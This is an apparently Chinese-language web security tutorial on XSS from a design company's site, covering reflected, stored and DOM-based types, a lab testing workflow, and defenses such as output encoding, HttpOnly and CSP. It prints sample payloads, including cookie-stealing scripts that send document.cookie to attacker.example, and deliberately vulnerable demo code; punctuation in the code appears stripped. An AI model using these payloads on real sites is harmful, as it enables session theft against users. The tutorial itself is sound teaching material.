尧图网站设计 尧图网站设计YAOTU DESIGN
ARTICLE DETAIL

资讯详情

深耕网站设计与一线实操的经验洞察。

XSS漏洞深度解析:原理、类型、实战与防御指南

XSS漏洞深度解析:原理、类型、实战与防御指南 先从一个真实场景说起。前几年我做了一次企业内部的Web应用安全评估拿到一份扫描报告标题写着存在反射型XSS漏洞中危。我打开那个链接发现就是搜索框里输入什么结果页就原样回显什么scriptalert(1)/script敲进去直接弹窗。看起来没什么杀伤力但如果攻击者把这条链接包装成点击查看你的考试成绩发给目标用户那用户浏览器里能拿到的东西攻击者基本也都能拿到。XSS攻击说白了就是一波数据与代码混淆的操作有人叫它跨站脚本但它横跨的从来不是站点而是信任边界。今天我打算把这套东西从头到尾捋一遍它的本质是什么、三种类型的触发机制有什么差别、我平时测试是怎么一步步把payload打进去的、以及真正有效的防御该怎么写。这篇文章主要给三类人看刚入门Web安全、想搞明白XSS不是只会念payload的新手写业务代码时想知道为什么我的输入过滤不管用的后端研发以及负责安全测试但总被扫描器误报折腾的测试同学。全文没有藏着掖着的部分按着顺序读完你现在心里对XSS的疑问应该能消掉一大半。1. 先搞清楚XSS到底打的是什么三条数据链路和它的本质XSS全称Cross-Site Scripting中文习惯叫跨站脚本攻击。但这个名字有点误导真正被打的不是站点而是浏览器里的一段脚本执行环境。攻击者把自己的脚本注入到页面中让它在受害者的浏览器里以当前站点的身份运行。这个以合法身份运行是它最危险的地方因为脚本能操作DOM、读取Cookie、发起请求而这一切在浏览器看来都是页面自己的行为。1.1 从数据与代码混淆说起我在讲注入类漏洞时特别喜欢用一个概念数据与代码混淆。正常的请求是用户输入数据服务端把数据处理后返回。但如果服务端把用户输入的数据直接当作页面代码的一部分拼到响应里那用户输入就不再是数据而变成了代码。举个生活化的例子。你在一张纸条上写请帮我把柜子上的盒子拿过来这是指令。如果把纸条直接贴在机器人控制程序的执行语句里那这张纸条上的字就变成程序的一部分。写请帮我拿盒子没事写把系统文件删掉机器人就会照做。XSS是同一逻辑受害者提交的字符串里混着script标签服务端不做处理直接塞进HTML浏览器解析HTML时把它当成了可执行的脚本。判断一段输入是否存在XSS风险核心就一句话它最终出现在页面什么地方、被当作什么角色解析。出现在HTML标签内部要考虑能否闭合标签出现在HTML属性中要考虑能否逃逸出引号出现在JavaScript代码块里要考虑能否闭合字符串。同一个payload换个位置效果完全不同。这些细节在后面每一类XSS的实操部分我都会展开。1.2 三种类型反射型、存储型、DOM型按触发方式和数据链路XSS分成三类。先把它们的差异摆在一张表里后面几节再逐一拆开讲。类型数据流向触发时机危害半径典型场景反射型攻击者→受害者点击链接→目标服务器→浏览器一次性需要诱导点击仅受害者个人搜索页、参数回显、错误页存储型攻击者→目标服务器数据库→任意用户访问页面→浏览器每次访问都触发所有访问该页面的用户评论区、留言板、个人信息、富文本DOM型攻击者→受害者点击链接→前端JavaScript直接读取并修改DOM一次性不经过服务端渲染仅受害者个人前端路由、hash参数处理、innerHTML拼接反射型和存储型的共同点是payload都在服务端响应里出现过区别只是一个是一次性回显、一个是写进数据库每次访问都带出来。DOM型最特殊服务端全程不知道发生了什么响应里根本没有payload完全是前端JavaScript读URL参数、读location.hash然后把它拼到innerHTML这类危险操作里。从危害面积看存储型大于反射型和DOM型从容易被漏看的角度看DOM型最容易被扫描器放过。三种类型的防御思考也不一样反射型靠输出编码存储型在编码之上还得考虑输入合法性校验DOM型只能靠前端代码规范和Content Security Policy兜底。我见过不少团队把工夫全花在过滤输入上然后被DOM型打得措手不及因为服务端过滤根本管不着前端自己拼HTML。2. 三种XSS的触发细节与payload构造思路知道区别还不够得知道攻击者是怎么一步步把一个小小payload打进去的。这节每一种类型我都会给出典型的漏洞代码片段、payload样例以及payload为什么能奏效的原理解释。2.1 反射型XSS最容易上手的入口反射型XSS的典型场景是搜索功能。假设后端代码长这样// Java Servlet示例 String keyword request.getParameter(keyword); out.println(div您搜索的关键词是 keyword /div);用户访问/search?keywordhello页面显示您搜索的关键词是hello。看起来没毛病。但如果keyword传scriptalert(document.cookie)/script服务端拼出来的HTML就成了div您搜索的关键词是scriptalert(document.cookie)/script/div浏览器解析这个HTML时把script当成了脚本标签直接执行。这就是最原始的弹窗证明。实际利用中事情不会这么顺利因为很多站点会做简单的过滤或者输出位置不在标签内部。我总结过几种常见的payload改造思路标签闭合如果输入被拼在div或input的value属性里script标签不一定生效这时需要先闭合前面未闭合的部分。比如input value这里插入输出时没有转义引号就输入scriptalert(1)/script先把属性引号闭合、标签闭合再注入新标签。事件属性有些场景下script会被过滤掉改用img srcx onerroralert(1)图片加载失败触发onerror事件。伪协议在a href这类支持URL跳转的属性里写法是a hrefjavascript:alert(1)点我/a点击时执行脚本。反射型之所以叫反射是因为payload像光线打在镜面上一样被服务器原样弹回来。攻击者只需要把构造好的URL发给受害者受害者点击后payload就在自己浏览器跑起来。URL里的payload通常要做URL编码否则遇到特殊字符会被浏览器或框架拦下。scriptalert(1)/script在URL里写起来太长实战里常用短payload如svg/onloadalert(1)或者img srcx onerroralert(1)作用一样但更隐蔽。2.2 存储型XSS危害最大进库出库都中招存储型是三种类型里我最重视的原因很简单反射型一次只能打一个人存储型把payload写进数据库之后每个访问页面的用户都会执行一次脚本完全是一发入魂全员中招的效果。典型的漏洞场景是评论区。后端代码可能长这样// Java伪代码保存评论 String comment request.getParameter(comment); String sql INSERT INTO comments(content) VALUES( comment ); // 展示评论时 String content rs.getString(content); out.println(div classcomment content /div);攻击者提交一条评论内容为script fetch(https://attacker.example/collect?cookie document.cookie); /script这条评论存进数据库后任何用户打开评论区页面服务端把这条评论原样输出浏览器执行脚本把受害者Cookie发给攻击者服务器。所有看过页面的人Cookie全被收走危害面积非常大。除了直接执行脚本还有一种常见的利用方式是存储后置变异。攻击者在评论区留一段看起来无害的文字比如img srcx onerrordocument.body.innerHTMLh1您已被攻击/h1图片加载失败触发onerror直接把整个页面内容替换掉。这种刷广告、改页面内容的攻击方式经常出现在论坛和电商评论区里。对付存储型XSS只在前端做输入校验是完全不够的因为攻击者完全可以绕过前端页面直接向接口提交数据。我在做测试时经常用Burp Suite抓包绕过页面直接改POST请求体前端做的校验形同虚设。2.3 DOM型XSS前端代码里的盲区DOM型XSS和前面两种有本质区别payload根本不会出现在服务端的响应HTML里。服务端返回的页面是干净的但页面里的JavaScript在运行时读取了URL参数、location.hash或者document.referrer然后把数据直接拼到了DOM里。一个很典型的DOM型漏洞代码script var name location.hash.substring(1); // 从URL的#后面取参数 document.getElementById(welcome).innerHTML 欢迎 name; /script攻击者构造链接https://example.com/page#img srcx onerroralert(1)受害者点击后页面加载完JS把hash里的内容拼到innerHTMLimg标签被解析onerror触发。整个过程服务端不认识这个payload日志里也查不到因为#后面的内容根本不会发给服务器。DOM型最难的地方在于看不见。源代码审查看不到输出点扫描器也很难探测到因为服务器响应里没有payload。我当初接手过一个老系统前端用了大量innerHTML拼接用户可控数据审计时翻了几十处JS才找到两条危险链路。排查DOM型XSS我的经验是先找危险函数innerHTML、outerHTML、document.write()、eval()、setTimeout()里的字符串参数。再沿着这些函数反推数据来源哪个变量是location.hash、location.search、document.referrer、window.name传进来的。如果源头可控、终点是危险函数中间没有做转义或白名单校验基本就是DOM型XSS。3. 从原理到实战手把手走一遍完整测试流程理解原理之后真正动手测试才是硬功夫。这节我会给一个完整的测试流程从搭建本地靶场环境开始对三种XSS类型逐一演示。3.1 测试前的准备与环境先说安全边界以下所有测试步骤仅限在你自己搭建的本地环境或获得授权的测试环境中进行。未经授权对别人的系统做渗透测试在国内是违法行为我见过不止一个同行因为在客户没授权的前提下顺手试了试而惹上麻烦。做安全测试先学会红线技术第二。本地测试我推荐两种做法。一种是直接装现成的靶场比如DVWADamn Vulnerable Web Application里面自带XSS模块PHP环境跑起来就能用另一种是自己写一个几十行的小页面更能直观理解漏洞成因。我倾向于让新人先用后者因为自己写的代码出问题了能立刻看到根因。最简单的Demo用一个Java Spring Boot项目写一个带漏洞的接口RestController public class CommentController { // 存储所有评论 private static ListString comments new CopyOnWriteArrayList(); GetMapping(/comment) public String commentPage(RequestParam(defaultValue ) String content) { comments.add(content); // 存储型漏洞直接把输入存起来 StringBuilder sb new StringBuilder(); sb.append(htmlbodyh3评论区/h3ul); for (String c : comments) { sb.append(li).append(c).append(/li); } sb.append(/ul/body/html); return sb.toString(); } }这段代码只用于学习把用户输入直接拼进HTML输出是教科书级的存储型XSS漏洞。自己运行起来访问http://localhost:8080/comment?contenthello能看到hello被渲染成列表项。3.2 一个典型的反射型XSS测试过程反射型测试我习惯按照四个步骤走输入探测、观察回显、构造闭合、验证利用。第一步输入探测。先在参数里填一个普通字符串比如test123然后看页面哪里回显了它、回显位置在什么HTML上下文里。如果是div您搜索的关键词是test123/div说明位置在HTML文本节点如果是在input valuetest123说明在属性节点。同一个payload在不同上下文里的存活能力完全不一样。第二步观察回显。看服务端有没有对输入做编码。如果被输出成lt;那HTML实体编码生效直接注入标签无效如果原样输出继续往下走。第三步构造闭合。回显在input value——这里——时直接传script是没用的因为脚本标签在属性值里不会被解析。需要先闭合属性引号和标签payload变成scriptalert(document.domain)/script最终拼出来是input valuescriptalert(document.domain)/script第四步验证利用。弹出当前域名说明脚本已经以当前站点上下文执行漏洞确认。测试环境里我通常弹alert(document.domain)比弹alert(1)更有意义能确认脚本域名确实是目标站点。反射型XSS测试里有个常被忽视的坑浏览器的XSS过滤器。Chrome的XSS Auditor以前会拦截URL里明显的scriptpayload现代浏览器又改成了XSS Filter或类似机制。如果payload被浏览器拦截不代表漏洞不存在只说明浏览器在帮你挡。要用Firefox做测试或者用Burp Suite直接看原始响应确认服务端确实原样输出了payload。3.3 存储型XSS的完整验证与利用演示存储型的完整流程分五步构造payload、提交、等待入库、触发、验证。支付payload时我会先传一条最基础的验证payloadscriptalert(document.cookie)/script提交后刷新页面弹窗出现说明存储成功且执行成功。在这个基础上再升级为窃取数据型payloadscript new Image().src http://attacker.example/steal?cookie document.cookie; /script这段代码用new Image().src发一个GET请求把cookie带到攻击者服务器。之所以不用fetch是因为有些老浏览器不支持fetchnew Image()是兼容性最好的外带数据方式。受害者浏览器执行这段脚本后attacker.example的日志里会出现一条包含PHPSESSIDxxx字样的请求。如果应用设置了HttpOnly属性document.cookie是拿不到的。这时候攻击者会转而去偷页面里的其他敏感数据比如用户输入的表单内容、页面上的订单号、甚至是用户行为。存储型测试的关键在于二次触发。payload提交后不一定在当前页面触发可能要在别的页面、别的用户访问时才触发。我在测试时会把存储和触发分开验证先确认payload成功写入数据库再去访问目标页面确认执行。如果存在后台审核之类的环节还要判断审核后payload是否被过滤这决定了漏洞的可利用性。3.4 DOM型XSS的实战测试示例DOM型的测试步骤和技术手段完全不同因为它不经过服务端抓包看响应是看不出来的。我按下面这个思路来第一步确认前端JS是否读取了可控数据源。先在浏览器地址栏里给URL加一个参数#test看页面哪里出现了test字样。然后在Console里执行document.querySelectorAll(*)查找包含test文本的元素。第二步沿数据流定位危险函数。用Sources面板搜索innerHTML和document.write逐一查看上游变量赋值情况。第三步构造危险输入。假设代码是script var html div location.hash.substring(1) /div; document.getElementById(box).innerHTML html; /script访问http://localhost:8080/page#img srcx onerroralert(document.domain)hash的内容拼进innerHTML后img标签被解析src加载失败触发onerror弹窗。DOM型XSS测试里最实用的技巧是用浏览器Console手动调用关键函数提前看数据流是否会走到危险操作。比如在Console里模拟执行document.getElementById(box).innerHTML img srcx onerroralert(1);如果出现弹窗说明这个DOM节点的innerHTML存在被注入的可能再反推它的数据来源就能锁定完整利用链。4. 核心防御从源头掐死这三种路子讲完攻击再谈防御才明白为什么有些防御措施是表面功夫。防御XSS我总结成四个层次输出编码、输入校验、安全头配置、框架级统一处理。这四个层次缺一个都有被绕过的风险。4.1 输入过滤与输出编码各管一段别混着做很多团队做XSS防御最常犯的错是把所有希望寄托在过滤输入上。前端过滤可以绕过后端过滤字符很容易漏。真正的安全防线在输出编码。输出编码要区分上下文HTML实体上下文输出到div、p、li这类标签内容里需要把转成lt;、转成gt;、转成amp;、引号转成quot;。HTML属性上下文输出到input value...等属性里除了转义HTML实体尤其要把双引号转义否则payload逃逸出属性值。JavaScript上下文输出到script内部或事件属性里HTML实体编码不一定管用需要做JS字符串转义。注意scriptalert(0)/script如果在事件属性里紧凑成img srcx onerroralert(0)不需要转义引号但如果是拼在JS字符串里就要处理、、\n、\u003c。URL上下文输出到a href...、iframe src...等URL属性要校验协议白名单禁止javascript:、data:等危险协议。Java里的做法是借助现成的转义库别自己手写正则import org.owasp.encoder.Encode; // 输出到HTML标签内容 out.println(Encode.forHtml(userInput)); // 输出到HTML属性 out.println(Encode.forHtmlAttribute(userInput)); // 输出到JavaScript out.println(Encode.forJavaScript(userInput)); // 输出到URL out.println(Encode.forUriComponent(userInput));我自己见过一次事故开发手动写了个过滤函数把script替换成空字符串攻击者输入scrscriptipt第一次过滤后变成script又被拼进页面执行。这就是黑名单过滤的经典翻车现场。过滤做黑名单只能当辅助不能当主力。4.2 HttpOnly、CSP、安全响应头配置安全响应头是性价比很高的防御手段配置好一劳永逸。HttpOnly是个Cookie属性设置了之后document.cookie读取不到这个Cookie。攻击者的XSS payload即使执行了也拿不到会话标识降低了窃取会话的风险。Java里的设置Cookie cookie new Cookie(JSESSIONID, sessionId); cookie.setHttpOnly(true); cookie.setSecure(true); // 同时要求HTTPS response.addCookie(cookie);Content Security PolicyCSP是第二道保险也是我最看重的一道。它通过响应头告诉浏览器这个页面只允许加载哪些来源的脚本、图片、样式。攻击者即使成功注入了script如果CSP里script-src没允许攻击者的域名浏览器也不会执行。一个相对安全的CSP配置Content-Security-Policy: default-src self; script-src self; object-src none; base-uri none; frame-ancestors none;含义是默认只能加载同源资源脚本只能来自同源不允许embed/object页面不允许被iframe嵌入。注意script-src禁用了unsafe-inline页面里所有内联脚本都会被禁止执行如果你有内联脚本需求要么改成外部文件要么合理配置sha256-xxx哈希。我踩过CSP的坑给一个线上系统配置了严格的CSP半小时后被业务方投诉页面全白因为系统用了大量内联事件属性onclick...。后来只能改成在外部JS里绑定事件才敢把CSP收紧。其他安全头也顺手加上X-Content-Type-Options: nosniff禁止浏览器猜测响应类型减少解析歧义X-Frame-Options: DENY防止点击劫持4.3 SpringBoot等项目框架的统一过滤器方案针对热词里提到的SpringBoot项目全局过滤器处理上传PDF时的XSS攻击这里展开讲一个我实际用过的框架级解决方案。先解释为什么需要全局过滤器业务接口太多不可能在所有输出点上逐一加编码。全局过滤器在请求进Controller之前统一清洗或者在响应出去之前统一编码一次配置全部生效。我推荐请求时清洗、响应时编码双管齐下但要注意清洗的副作用。一个简单的SpringBoot全局过滤器Component public class XssFilter implements Filter { Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { // 包装请求对参数值做HTML转义清洗 HttpServletRequest httpRequest (HttpServletRequest) request; XssHttpServletRequestWrapper wrapper new XssHttpServletRequestWrapper(httpRequest); chain.doFilter(wrapper, response); } }XssHttpServletRequestWrapper重写getParameter()和getParameterValues()public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { public XssHttpServletRequestWrapper(HttpServletRequest request) { super(request); } Override public String getParameter(String name) { String value super.getParameter(name); return cleanXss(value); } private String cleanXss(String value) { if (value null) { return null; } // 过滤常见危险字符 return value.replaceAll(, lt;) .replaceAll(, gt;) .replaceAll(\, quot;) .replaceAll(, #x27;) .replaceAll(, amp;); } }这里有个很关键的注意点参数清洗是输入层面的处理会改变业务数据本身。比如用户合法输入了b你好/b清洗后变成lt;bgt;你好lt;/bgt;存进数据库的就是转义后的内容。如果业务在别处还要用这个内容做模板渲染可能出问题。所以参数清洗更适合用在明确不允许任何HTML输入的字段上对需要富文本的字段建议走输出编码路线不要统一清洗。再说上传PDF的场景。文件上传接口里全局参数过滤器只处理普通表单参数文件本身不在getParameter()范围。问题出在文件名上用户可控的文件名可能带script如果系统把文件名回显到页面或日志里一样触发XSS。处理方式是在Multipart解析后对文件名做转义PostMapping(/upload) public String upload(RequestParam(file) MultipartFile file) { String originalFilename file.getOriginalFilename(); // 文件名做HTML转义再入库或输出 String safeName Encode.forHtml(originalFilename); // 同时建议用UUID重命名文件避免原始文件名带来的隐患 String storedName UUID.randomUUID().toString(); return 上传成功文件名: safeName; }PDF内容本身的XSS是另一个维度的话题PDF文档内嵌脚本、URL跳转属于PDF解析器的安全范畴和Web应用的XSS过滤器是两码事这里不展开。全局过滤器方案不是银弹它是一个兜底措施。真正扎实的防御必须做到输出编码到位、CSP配置正确、Cookie加HttpOnly这几件事缺一不可。别以为加了过滤器就高枕无忧DOM型XSS完全绕开服务端过滤器再强也管不到前端JS自己拼DOM。5. 实际排查中的那些坑与经验做了这么多年Web安全检查XSS相关的坑遇到太多这节直接整理成速查表和处理经验这些内容普通文档里很难找到。5.1 常见问题速查表现象根本原因解决方案输入了scriptURL后浏览器纯白屏浏览器XSS过滤器拦截了明显的payload改用Firefox测试用alert(document.domain)抓包看原始响应确认输出提交评论后数据库里的变成lt;后端做了全局参数清洗确认是否需要存原文若需要富文本改为输出侧编码document.cookie打印为空Cookie设置了HttpOnly换偷取其他敏感数据确认HttpOnly对会话保护效果扫描器报告XSS但手动验证不弹窗触发位置不在扫描器猜测的注入点检查每个输出点对应位置的闭合方式逐个构造闭合payload前端过滤了script但XSS仍生效前端校验可绕过payload变体多直接抓包改请求体测试后端不能信任任何前端过滤严格CSP配置后页面样式全丢style-src未配内联样式收紧CSP要逐项排查页面依赖先放日志观察再逐步收紧过滤器清洗后业务数据变形参数清洗范围过大划清纯文本字段和富文本字段边界富文本走白名单5.2 实操心得扫描器为什么总漏报我负责过几次安全测试扫描器报了一堆手动一测全是误报真正危险的几个存储型XSS扫描器反而没报出来。这个现象不奇怪扫描器本质上是发一堆payload看响应有没有原样返回有几个盲区DOM型XSSpayload不会出现在服务端响应里扫描器只比对响应内容自然测不出来。存储型需要二次触发扫描器提交payload后如果触发页面要登录、要特定路径扫描器没有后续步骤就测不到。上下文复杂payload拼在JS字符串里或属性里有嵌套通用payload套不上。所以做XSS排查不能纯靠工具手动审计前端JS、追踪数据流、逐个回显点构造闭合payload这些基本功才是排查核心。扫描器报告只能当线索不是结论。5.3 针对存储型XSS的排查建议我给研发团队做安全评审时面对可能的存储型XSS习惯先回答三个问题第一哪些接口接收用户输入把RequestParam、RequestBody、文件上传全部列出来这就是输入面。第二这些输入最终输出在哪些页面追查数据流转全链路从数据库到实体类再到模板渲染。第三输出时有做上下文编码吗模板引擎的自动转义开没开如果用了Thymeleaf默认th:text会转义但th:utext不会Vue的{{ }}插值能转义v-html不转义。框架帮忙做的那些事要心里有数别一看到用了框架就以为安全。顺着这三个问题排查基本能把存储型XSS的链路摸干净。6. 收尾这些经验和建议是我踩坑换来的写到最后分享几个我实际测试中总结出来的经验谈不上系统的理论但对实际操作挺有帮助。第一测试时优先用alert(document.domain)而不是alert(1)。前者能确认脚本确实以目标域名上下文执行避免被浏览器过滤器或者上下文差异糊弄过去。我见过新手在data:协议的上下文里弹窗成功以为漏洞确认其实利用难度和危害评估完全不同。第二构造payload时永远先确认输出位置。见到输入框先看回显在div文本里还是input属性里还是JS代码里同一个payload在不同位置的存活率天差地别。别一上来就scriptalert(1)/script硬怼那不是测试是碰运气。第三防御一定要分上下文别想用一个万能转义函数解决所有问题。HTML实体编码对属性注入有效但挡不住JS上下文里的\u003cJS转义能挡住字符串逃逸但管不了eval()执行。我一个项目里见过开发把输出统一走Encode.forHtml结果在JS代码里输出时引号没转义照样被注入。最后一句话是真正的体悟XSS攻击的核心不在攻击者能构造什么而在开发者在哪个环节把数据错当成了代码。搞懂了这句话你就能在项目里真正做到举一反三而不是背下一个payload模板。
返回列表